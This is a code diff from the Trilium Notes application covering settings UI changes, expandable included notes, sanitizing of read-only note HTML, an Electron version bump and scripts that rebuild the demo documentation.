<Button text={t("backup.download")} />
</a>
</td>
</tr>
))
) : (
<tr>
<td className="empty-table-placeholder" colspan={2}>{t("backup.no_backup_yet")}</td>
<td className="empty-table-placeholder" colspan={3}>{t("backup.no_backup_yet")}</td>
</tr>
)}
</tbody>
</table>
</OptionsSection>
);
}
);
}

View File

@@ -46,6 +46,16 @@
justify-content: center;
}
.option-row.stacked {
flex-direction: column;
align-items: stretch;
gap: 8px;
}
.option-row.stacked .option-row-input {
width: 100%;
}
.option-row-link.use-tn-links {
text-decoration: none;
color: inherit;

View File

@@ -10,14 +10,18 @@ interface OptionsRowProps {
description?: string;
children: VNode;
centered?: boolean;
/** When true, stacks label above input with full-width input */
stacked?: boolean;
}
export default function OptionsRow({ name, label, description, children, centered }: OptionsRowProps) {
export default function OptionsRow({ name, label, description, children, centered, stacked }: OptionsRowProps) {
const id = useUniqueName(name);
const childWithId = cloneElement(children, { id });
const className = `option-row ${centered ? "centered" : ""} ${stacked ? "stacked" : ""}`;
return (
<div className={`option-row ${centered ? "centered" : ""}`}>
<div className={className}>
<div className="option-row-label">
{label && <label for={id}>{label}</label>}
{description && <small className="option-row-description">{description}</small>}

View File

@@ -1,16 +1,19 @@
import { SyncTestResponse } from "@triliumnext/commons";
import { useRef } from "preact/hooks";
import { t } from "../../../services/i18n";
import server from "../../../services/server";
import toast from "../../../services/toast";
import { openInAppHelpFromUrl } from "../../../services/utils";
import Button from "../../react/Button";
import FormGroup from "../../react/FormGroup";
import FormTextBox, { FormTextBoxWithUnit } from "../../react/FormTextBox";
import RawHtml from "../../react/RawHtml";
import OptionsSection from "./components/OptionsSection";
import { useTriliumOptions } from "../../react/hooks";
import FormText from "../../react/FormText";
import server from "../../../services/server";
import toast from "../../../services/toast";
import { SyncTestResponse } from "@triliumnext/commons";
import FormTextBox from "../../react/FormTextBox";
import { useTriliumOptions } from "../../react/hooks";
import RawHtml from "../../react/RawHtml";
import OptionsRow from "./components/OptionsRow";
import OptionsSection from "./components/OptionsSection";
import TimeSelector from "./components/TimeSelector";
export default function SyncOptions() {
return (
@@ -18,13 +21,12 @@ export default function SyncOptions() {
<SyncConfiguration />
<SyncTest />
</>
)
);
}
export function SyncConfiguration() {
const [ options, setOptions ] = useTriliumOptions("syncServerHost", "syncServerTimeout", "syncProxy");
const [ options, setOptions ] = useTriliumOptions("syncServerHost", "syncProxy");
const syncServerHost = useRef(options.syncServerHost);
const syncServerTimeout = useRef(options.syncServerTimeout);
const syncProxy = useRef(options.syncProxy);
return (
@@ -32,13 +34,12 @@ export function SyncConfiguration() {
<form onSubmit={(e) => {
setOptions({
syncServerHost: syncServerHost.current,
syncServerTimeout: syncServerTimeout.current,
syncProxy: syncProxy.current
});
e.preventDefault();
}}>
<FormGroup name="sync-server-host" label={t("sync_2.server_address")}>
<FormTextBox
<FormTextBox
placeholder="https://<host>:<port>"
currentValue={syncServerHost.current} onChange={(newValue) => syncServerHost.current = newValue}
/>
@@ -50,27 +51,30 @@ export function SyncConfiguration() {
<RawHtml html={t("sync_2.special_value_description")} />
</>}
>
<FormTextBox
<FormTextBox
placeholder="https://<host>:<port>"
currentValue={syncProxy.current} onChange={(newValue) => syncProxy.current = newValue}
/>
</FormGroup>
<FormGroup name="sync-server-timeout" label={t("sync_2.timeout")}>
<FormTextBoxWithUnit
min={1} max={10000000} type="number"
unit={t("sync_2.timeout_unit")}
currentValue={syncServerTimeout.current} onChange={(newValue) => syncServerTimeout.current = newValue}
/>
</FormGroup>
<div style={{ display: "flex", justifyContent: "spaceBetween"}}>
<Button text={t("sync_2.save")} kind="primary" />
<Button text={t("sync_2.help")} onClick={() => openInAppHelpFromUrl("cbkrhQjrkKrh")} />
</div>
</form>
<hr/>
<OptionsRow name="sync-server-timeout" label={t("sync_2.timeout")} description={t("sync_2.timeout_description")}>
<TimeSelector
name="sync-server-timeout"
optionValueId="syncServerTimeout"
optionTimeScaleId="syncServerTimeoutTimeScale"
minimumSeconds={1}
/>
</OptionsRow>
</OptionsSection>
)
);
}
export function SyncTest() {
@@ -90,5 +94,5 @@ export function SyncTest() {
}}
/>
</OptionsSection>
)
}
);
}

View File

@@ -7,7 +7,7 @@ import link from "../../../services/link";
import { useKeyboardShortcuts, useLegacyImperativeHandlers, useNoteContext, useSyncedRef, useTriliumOption } from "../../react/hooks";
import { buildConfig, BuildEditorOptions } from "./config";
export type BoxSize = "small" | "medium" | "full";
export type BoxSize = "small" | "medium" | "full" | "expandable";
export interface CKEditorApi {
/** returns true if user selected some text, false if there's no selection */

View File

@@ -55,4 +55,14 @@ body.mobile .note-detail-readonly-text {
.edit-text-note-button:hover {
border-color: var(--button-border-color);
}
/* Inline code click-to-copy */
.note-detail-readonly-text-content code.copyable-inline-code {
cursor: pointer;
transition: background-color 0.15s ease;
}
.note-detail-readonly-text-content code.copyable-inline-code:hover {
background-color: var(--accented-background-color);
}

View File

@@ -13,6 +13,7 @@ import { applyInlineMermaid, rewriteMermaidDiagramsInContainer } from "../../../
import { getLocaleById } from "../../../services/i18n";
import { renderMathInElement } from "../../../services/math";
import { formatCodeBlocks } from "../../../services/syntax_highlight";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content.js";
import { useNoteBlob, useNoteLabel, useTriliumEvent, useTriliumOptionBool } from "../../react/hooks";
import { RawHtmlBlock } from "../../react/RawHtml";
import TouchBar, { TouchBarButton, TouchBarSpacer } from "../../react/TouchBar";
@@ -61,7 +62,7 @@ export default function ReadOnlyText({ note, noteContext, ntxId }: TypeWidgetPro
className={clsx("note-detail-readonly-text-content ck-content use-tn-links selectable-text", codeBlockWordWrap && "word-wrap")}
tabindex={100}
dir={isRtl ? "rtl" : "ltr"}
html={blob?.content}
html={blob?.content ? sanitizeNoteContentHtml(blob.content as string) : undefined}
/>
<TouchBar>

View File

@@ -182,9 +182,21 @@ export async function buildConfig(opts: BuildEditorOptions): Promise<EditorConfi
marker: "@",
feed: (queryText: string) => noteAutocompleteService.autocompleteSourceForCKEditor(queryText),
itemRenderer: (item) => {
const suggestion = item as Suggestion;
const itemElement = document.createElement("button");
itemElement.innerHTML = `${(item as Suggestion).highlightedNotePathTitle} `;
const iconElement = document.createElement("span");
// Choose appropriate icon based on action
let iconClass = suggestion.icon ?? "bx bx-note";
if (suggestion.action === "create-note") {
iconClass = "bx bx-plus";
}
iconElement.className = iconClass;
itemElement.append(iconElement, document.createTextNode(" "));
const titleContainer = document.createElement("span");
titleContainer.innerHTML = suggestion.highlightedNotePathTitle ?? "";
itemElement.append(...titleContainer.childNodes, document.createTextNode(" "));
return itemElement;
},

View File

@@ -8,17 +8,77 @@ export async function loadIncludedNote(noteId: string, $el: JQuery<HTMLElement>)
const note = await froca.getNote(noteId);
if (!note) return;
// Get the box size from the parent section element
const $section = $el.closest('section.include-note');
const boxSize = $section.attr('data-box-size');
const isExpandable = boxSize === 'expandable';
const $wrapper = $('<div class="include-note-wrapper">');
const $link = await link.createLink(note.noteId, {
showTooltip: false
});
$wrapper.empty().append($('<h4 class="include-note-title">').append($link));
if (isExpandable) {
// Create expandable structure with toggle
const $titleRow = $('<div class="include-note-title-row">');
const $toggle = $('<button class="include-note-toggle bx bx-chevron-right" aria-expanded="false">');
const $title = $('<h4 class="include-note-title">').append($link);
const { $renderedContent, type } = await content_renderer.getRenderedContent(note);
$wrapper.append($(`<div class="include-note-content type-${type}">`).append($renderedContent));
$titleRow.append($toggle, $title);
$wrapper.append($titleRow);
const { $renderedContent, type } = await content_renderer.getRenderedContent(note);
const $content = $(`<div class="include-note-content type-${type}" style="display: none;">`).append($renderedContent);
$wrapper.append($content);
// Add toggle functionality
$toggle.on('click', (e) => {
e.stopPropagation();
const isExpanded = $toggle.attr('aria-expanded') === 'true';
$toggle.attr('aria-expanded', String(!isExpanded));
$toggle.toggleClass('expanded');
$content.slideToggle(200);
});
} else {
// Standard display
$wrapper.append($('<h4 class="include-note-title">').append($link));
const { $renderedContent, type } = await content_renderer.getRenderedContent(note);
$wrapper.append($(`<div class="include-note-content type-${type}">`).append($renderedContent));
}
$el.empty().append($wrapper);
// Watch for box-size attribute changes and re-render
setupBoxSizeObserver($section[0], noteId, $el);
}
// Track observers to avoid duplicates
const boxSizeObservers = new WeakMap<Element, MutationObserver>();
function setupBoxSizeObserver(section: Element, noteId: string, $el: JQuery<HTMLElement>) {
// Clean up existing observer if any
const existingObserver = boxSizeObservers.get(section);
if (existingObserver) {
existingObserver.disconnect();
}
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
if (mutation.type === 'attributes' && mutation.attributeName === 'data-box-size') {
// Re-render the included note with the new box size
loadIncludedNote(noteId, $el);
break;
}
}
});
observer.observe(section, {
attributes: true,
attributeFilter: ['data-box-size']
});
boxSizeObservers.set(section, observer);
}
export function refreshIncludedNote(container: HTMLDivElement, noteId: string) {

View File

@@ -44,7 +44,7 @@
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.1",
"electron": "41.2.0",
"prebuild-install": "7.1.3"
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -538,6 +538,9 @@
<li><a href="root/Trilium%20Demo/Scripting%20examples/Statistics/Attribute%20count/template/js/renderPieChart.js"
target="detail">renderPieChart</a>
<ul>
<li><a href="root/Trilium%20Demo/Scripting%20examples/Weight%20Tracker/Implementation/JS%20code/chart.js"
target="detail">chart.js</a>
</li>
<li><a href="root/Trilium%20Demo/Scripting%20examples/Statistics/Attribute%20count/template/js/renderPieChart/chartjs-plugin-datalabe.min.js"
target="detail">chartjs-plugin-datalabels.min.js</a>
</li>

View File

@@ -25,9 +25,7 @@
You can play with it, and modify the note content and tree structure as
you wish.</p>
<p>If you need any help, visit <a href="https://triliumnotes.org">triliumnotes.org</a> or
our <a href="https://github.com/TriliumNext">GitHub repository</a>
</p>
our <a href="https://github.com/TriliumNext">GitHub repository</a>.</p>
<h2>Cleanup</h2>
<p>Once you're finished with experimenting and want to cleanup these pages,
@@ -35,7 +33,7 @@
<h2>Formatting</h2>
<p>Trilium supports classic formatting like <em>italic</em>, <strong>bold</strong>, <em><strong>bold and italic</strong></em>.
You can add links pointing to <a href="https://triliumnotes.org/">external pages</a> or&nbsp;
You can add links pointing to <a href="https://triliumnotes.org/">external pages</a> or&nbsp;&nbsp;
<a
class="reference-link" href="Trilium%20Demo/Formatting%20examples">Formatting examples</a>.</p>
<h3>Lists</h3>
@@ -75,9 +73,8 @@
<hr>
<p>See also other examples like <a href="Trilium%20Demo/Formatting%20examples/School%20schedule.html">tables</a>,
<a
href="Trilium%20Demo/Formatting%20examples/Checkbox%20lists.html">checkbox lists,</a> <a href="Trilium%20Demo/Formatting%20examples/Highlighting.html">highlighting</a>, <a href="Trilium%20Demo/Formatting%20examples/Code%20blocks.html">code blocks</a>and
<a
href="Trilium%20Demo/Formatting%20examples/Math.html">math examples</a>.</p>
href="Trilium%20Demo/Formatting%20examples/Checkbox%20lists.html">checkbox lists</a>, <a href="Trilium%20Demo/Formatting%20examples/Highlighting.html">highlighting</a>, <a href="Trilium%20Demo/Formatting%20examples/Code%20blocks.html">code blocks</a>,
and <a href="Trilium%20Demo/Formatting%20examples/Math.html">math examples</a>.</p>
</div>
</div>
</body>

View File

@@ -31,7 +31,7 @@
<h2>Similar books</h2>
<ul>
<li></li>
<li data-list-item-id="eebd9f297d5dc97dfc46579ba1f25d7bf"></li>
</ul>
</div>
</div>

View File

@@ -0,0 +1,21 @@
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="../../../../../../../../style.css">
<base target="_parent">
<title data-trilium-title>chart.js</title>
</head>
<body>
<div class="content">
<h1 data-trilium-h1>chart.js</h1>
<div class="ck-content">
<p>This is a clone of a note. Go to its <a href="../../../../../Weight%20Tracker/Implementation/JS%20code/chart.js">primary location</a>.</p>
</div>
</div>
</body>
</html>

File diff suppressed because it is too large Load Diff

View File

@@ -12,7 +12,7 @@
"@triliumnext/desktop": "workspace:*",
"@types/fs-extra": "11.0.4",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.1",
"electron": "41.2.0",
"fs-extra": "11.3.4"
},
"scripts": {

View File

@@ -1,9 +1,11 @@
import { extractZip, importData, initializeDatabase, startElectron } from "./utils.js";
import { createZipFromDirectory, extractZip, importData, initializeDatabase, startElectron } from "./utils.js";
import { initializeTranslations } from "@triliumnext/server/src/services/i18n.js";
import debounce from "@triliumnext/client/src/services/debounce.js";
import fs from "fs/promises";
import { join } from "path";
import cls from "@triliumnext/server/src/services/cls.js";
import type { NoteMetaFile } from "@triliumnext/server/src/services/meta/note_meta.js";
import type NoteMeta from "@triliumnext/server/src/services/meta/note_meta.js";
// Paths are relative to apps/edit-docs/dist.
const DEMO_ZIP_PATH = join(__dirname, "../../server/src/assets/db/demo.zip");
@@ -17,20 +19,29 @@ async function main() {
await initializeTranslations();
await initializeDatabase(true);
// Wait for becca to be loaded before importing data
const beccaLoader = await import("@triliumnext/server/src/becca/becca_loader.js");
await beccaLoader.beccaLoaded;
cls.init(async () => {
await importData(DEMO_ZIP_DIR_PATH);
setOptions();
initializedPromise.resolve();
});
initializedPromise.resolve();
}
async function setOptions() {
const optionsService = (await import("@triliumnext/server/src/services/options.js")).default;
const sql = (await import("@triliumnext/server/src/services/sql.js")).default;
optionsService.setOption("eraseUnusedAttachmentsAfterSeconds", 10);
optionsService.setOption("eraseUnusedAttachmentsAfterTimeScale", 60);
optionsService.setOption("compressImages", "false");
// Set initial note to the first visible child of root (not _hidden)
const startNoteId = sql.getValue("SELECT noteId FROM branches WHERE parentNoteId = 'root' AND isDeleted = 0 AND noteId != '_hidden' ORDER BY notePosition") || "root";
optionsService.setOption("openNoteContexts", JSON.stringify([{ notePath: startNoteId, active: true }]));
}
async function registerHandlers() {
@@ -41,8 +52,10 @@ async function registerHandlers() {
eraseService.eraseUnusedAttachmentsNow();
await exportData();
await fs.rmdir(DEMO_ZIP_DIR_PATH, { recursive: true }).catch(() => {});
await fs.rm(DEMO_ZIP_DIR_PATH, { recursive: true }).catch(() => {});
await extractZip(DEMO_ZIP_PATH, DEMO_ZIP_DIR_PATH);
await cleanUpMeta(DEMO_ZIP_DIR_PATH);
await createZipFromDirectory(DEMO_ZIP_DIR_PATH, DEMO_ZIP_PATH);
}, 10_000);
events.subscribe(events.ENTITY_CHANGED, async (e) => {
if (e.entityName === "options") {
@@ -59,4 +72,28 @@ async function exportData() {
await exportToZipFile("root", "html", DEMO_ZIP_PATH);
}
const EXPANDED_NOTE_IDS = new Set([
"root",
"rvaX6hEaQlmk" // Trilium Demo
]);
async function cleanUpMeta(dirPath: string) {
const metaPath = join(dirPath, "!!!meta.json");
const meta = JSON.parse(await fs.readFile(metaPath, "utf-8")) as NoteMetaFile;
for (const file of meta.files) {
file.notePosition = 1;
traverse(file);
}
function traverse(el: NoteMeta) {
el.isExpanded = EXPANDED_NOTE_IDS.has(el.noteId);
for (const child of el.children || []) {
traverse(child);
}
}
await fs.writeFile(metaPath, JSON.stringify(meta, null, 4));
}
main();

View File

@@ -141,9 +141,15 @@ async function main() {
async function setOptions() {
const optionsService = (await import("@triliumnext/server/src/services/options.js")).default;
const sql = (await import("@triliumnext/server/src/services/sql.js")).default;
optionsService.setOption("eraseUnusedAttachmentsAfterSeconds", 10);
optionsService.setOption("eraseUnusedAttachmentsAfterTimeScale", 60);
optionsService.setOption("compressImages", "false");
// Set initial note to the first visible child of root (not _hidden)
const startNoteId = sql.getValue("SELECT noteId FROM branches WHERE parentNoteId = 'root' AND isDeleted = 0 AND noteId != '_hidden' ORDER BY notePosition") || "root";
optionsService.setOption("openNoteContexts", JSON.stringify([{ notePath: startNoteId, active: true }]));
}
async function exportData(noteId: string, format: ExportFormat, outputPath: string, ignoredFiles?: Set<string>) {

View File

@@ -103,6 +103,14 @@ function waitForEnd(archive: Archiver, stream: WriteStream) {
});
}
export async function createZipFromDirectory(dirPath: string, zipPath: string) {
const archive = archiver("zip", { zlib: { level: 5 } });
const outputStream = fsExtra.createWriteStream(zipPath);
archive.directory(dirPath, false);
archive.pipe(outputStream);
await waitForEnd(archive, outputStream);
}
export async function extractZip(zipFilePath: string, outputPath: string, ignoredFiles?: Set<string>) {
const promise = deferred<void>();
setTimeout(async () => {

Some files were not shown because too many files have changed in this diff Show More